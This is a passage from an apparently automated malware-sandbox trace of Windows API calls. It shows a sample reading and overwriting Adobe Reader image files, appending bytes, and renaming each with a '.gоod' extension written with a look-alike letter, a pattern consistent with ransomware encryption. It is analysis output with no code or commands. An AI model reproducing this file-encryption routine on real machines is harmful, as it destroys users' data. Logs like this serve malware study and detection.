DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_wob.png.gоod")) returned 1 [0134.638] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png", lpFilePart=0x0) returned 0x82 [0134.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0134.638] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png"), fInfoLevelId=0x0, lpFileInformation=0x38fa830 | out: lpFileInformation=0x38fa830*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2fe3)) returned 1 [0134.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0134.638] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png", lpFilePart=0x0) returned 0x82 [0134.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0134.638] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0134.639] GetFileType (hFile=0x618) returned 0x1 [0134.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0134.639] GetFileType (hFile=0x618) returned 0x1 [0134.639] SetFilePointer (in: hFile=0x618, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeba88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeba88*=0) returned 0x1000 [0134.639] ReadFile (in: hFile=0x618, lpBuffer=0x38fad68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeba58, lpOverlapped=0x0 | out: lpBuffer=0x38fad68*, lpNumberOfBytesRead=0x1fdeba58*=0x1000, lpOverlapped=0x0) returned 1 [0135.104] CloseHandle (hObject=0x618) returned 1 [0135.407] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png", lpFilePart=0x0) returned 0x82 [0135.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0135.408] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0135.408] GetFileType (hFile=0x6e0) returned 0x1 [0135.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0135.408] GetFileType (hFile=0x6e0) returned 0x1 [0135.408] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeba88*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeba88*=0) returned 0x2fe3 [0135.408] WriteFile (in: hFile=0x6e0, lpBuffer=0x38d3e68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeb978, lpOverlapped=0x0 | out: lpBuffer=0x38d3e68*, lpNumberOfBytesWritten=0x1fdeb978*=0x10, lpOverlapped=0x0) returned 1 [0135.409] CloseHandle (hObject=0x6e0) returned 1 [0135.409] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png", lpFilePart=0x0) returned 0x82 [0135.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0135.409] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0135.409] GetFileType (hFile=0x6e0) returned 0x1 [0135.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0135.409] GetFileType (hFile=0x6e0) returned 0x1 [0135.409] ReadFile (in: hFile=0x6e0, lpBuffer=0x38d61b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeba08, lpOverlapped=0x0 | out: lpBuffer=0x38d61b8*, lpNumberOfBytesRead=0x1fdeba08*=0x1000, lpOverlapped=0x0) returned 1 [0135.510] CloseHandle (hObject=0x6e0) returned 1 [0135.510] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png", lpFilePart=0x0) returned 0x82 [0135.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0135.510] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0135.510] GetFileType (hFile=0x6e0) returned 0x1 [0135.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0135.510] GetFileType (hFile=0x6e0) returned 0x1 [0135.510] WriteFile (in: hFile=0x6e0, lpBuffer=0x375a530*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdebab8, lpOverlapped=0x0 | out: lpBuffer=0x375a530*, lpNumberOfBytesWritten=0x1fdebab8*=0x1010, lpOverlapped=0x0) returned 1 [0135.510] CloseHandle (hObject=0x6e0) returned 1 [0135.511] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png", lpFilePart=0x0) returned 0x82 [0135.511] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png.gоod", lpFilePart=0x0) returned 0x87 [0135.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0135.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4cfcc99b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2ff3)) returned 1 [0135.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0135.511] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png.gоod")) returned 1 [0135.512] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png", lpFilePart=0x0) returned 0x89 [0135.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0135.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x3765cf8 | out: lpFileInformation=0x3765cf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x67be)) returned 1 [0135.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0135.512] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png", lpFilePart=0x0) returned 0x89 [0135.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0135.512] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0135.512] GetFileType (hFile=0x6e0) returned 0x1 [0135.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0135.512] GetFileType (hFile=0x6e0) returned 0x1 [0135.513] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeba88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeba88*=0) returned 0x1000 [0135.513] ReadFile (in: hFile=0x6e0, lpBuffer=0x3766270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeba58, lpOverlapped=0x0 | out: lpBuffer=0x3766270*, lpNumberOfBytesRead=0x1fdeba58*=0x1000, lpOverlapped=0x0) returned 1 [0135.514] CloseHandle (hObject=0x6e0) returned 1 [0135.514] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png", lpFilePart=0x0) returned 0x89 [0135.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0135.514] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0135.514] GetFileType (hFile=0x6e0) returned 0x1 [0135.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0135.514] GetFileType (hFile=0x6e0) returned 0x1 [0135.514] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeba88*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeba88*=0) returned 0x67be [0135.514] WriteFile (in: hFile=0x6e0, lpBuffer=0x37675b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeb978, lpOverlapped=0x0 | out: lpBuffer=0x37675b8*, lpNumberOfBytesWritten=0x1fdeb978*=0x10, lpOverlapped=0x0) returned 1 [0135.515] CloseHandle (hObject=0x6e0) returned 1 [0135.515] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png", lpFilePart=0x0) returned 0x89 [0135.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0135.515] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0135.515] GetFileType (hFile=0x6e0) returned 0x1 [0135.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0135.516] GetFileType (hFile=0x6e0) returned 0x1 [0135.516] ReadFile (in: hFile=0x6e0, lpBuffer=0x3769928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeba08, lpOverlapped=0x0 | out: lpBuffer=0x3769928*, lpNumberOfBytesRead=0x1fdeba08*=0x1000, lpOverlapped=0x0) returned 1 [0136.641] CloseHandle (hObject=0x6e0) returned 1 [0136.641] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png", lpFilePart=0x0) returned 0x89 [0136.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0136.641] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0136.641] GetFileType (hFile=0x6e0) returned 0x1 [0136.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0136.641] GetFileType (hFile=0x6e0) returned 0x1 [0136.641] WriteFile (in: hFile=0x6e0, lpBuffer=0x37610a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdebab8, lpOverlapped=0x0 | out: lpBuffer=0x37610a8*, lpNumberOfBytesWritten=0x1fdebab8*=0x1010, lpOverlapped=0x0) returned 1 [0136.641] CloseHandle (hObject=0x6e0) returned 1 [0136.642] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png", lpFilePart=0x0) returned 0x89 [0136.642] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png.gоod", lpFilePart=0x0) returned 0x8e [0136.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0136.642] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4da87295, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x67ce)) returned 1 [0136.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0136.642] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png.gоod")) returned 1 [0136.643] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png", lpFilePart=0x0) returned 0x8c [0136.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0136.643] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_bow.png"), fInfoLevelId=0x0, lpFileInformation=0x38d1a08 | out: lpFileInformation=0x38d1a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa759)) returned 1 [0136.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0136.643] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png", lpFilePart=0x0) returned 0x8c [0136.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0136.643] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_bow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0136.643] GetFileType (hFile=0x6e0) returned 0x1 [0136.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0136.643] GetFileType (hFile=0x6e0) returned 0x1 [0136.643] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeba88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeba88*=0) returned 0x1000 [0136.644] ReadFile (in: hFile=0x6e0, lpBuffer=0x38d1fa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeba58, lpOverlapped=0x0 | out: lpBuffer=0x38d1fa0*, lpNumberOfBytesRead=0x1fdeba58*=0x1000, lpOverlapped=0x0) returned 1 [0137.084] CloseHandle (hObject=0x6e0) returned 1 [0137.084] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png", lpFilePart=0x0) returned 0x8c [0137.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0137.084] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_bow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0137.084] GetFileType (hFile=0x6e0) returned 0x1 [0137.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0137.084] GetFileType (hFile=0x6e0) returned 0x1 [0137.084] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeba88*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeba88*=0) returned 0xa759 [0137.084] WriteFile (in: hFile=0x6e0, lpBuffer=0x39a2ab8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeb978, lpOverlapped=0x0 | out: lpBuffer=0x39a2ab8*, lpNumberOfBytesWritten=0x1fdeb978*=0x10, lpOverlapped=0x0) returned 1 [0137.310] CloseHandle (hObject=0x6e0) returned 1 [0137.311] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png", lpFilePart=0x0) returned 0x8c [0137.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0137.312] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader 